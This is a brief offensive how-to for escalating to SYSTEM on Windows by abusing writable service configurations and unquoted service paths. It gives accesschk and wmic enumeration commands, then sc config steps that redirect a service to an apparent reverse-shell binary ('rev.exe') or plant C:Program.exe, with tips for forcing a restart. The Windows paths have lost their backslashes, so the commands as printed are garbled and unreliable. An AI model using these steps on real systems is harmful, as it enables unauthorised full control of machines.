Escalate through weak service permissions and unquoted paths

Two classic service flaws grant SYSTEM: a service whose configuration your account can change (SERVICE_CHANGE_CONFIG), and an unquoted ImagePath with a space that lets Windows try a writable intermediate path first.

# find both conditions
accesschk.exe -uwcqv "Users" *   # writable service configs
wmic service get name,pathname | findstr /i /v """ | findstr /i "Program Files"

Redirect the binary or plant one in the hijacked path, then restart.

sc config vulnsvc binPath= "C:Temprev.exe"
# or drop C:Program.exe for an unquoted "C:Program FilesAppsvc.exe"
sc stop vulnsvc & sc start vulnsvc

Pro note: if you cannot restart the service, check whether it has a recovery action or a trigger you can fire, or whether the box will reboot on schedule. Weak permissions on the service’s binary or its parent folder achieve the same result without touching the config at all.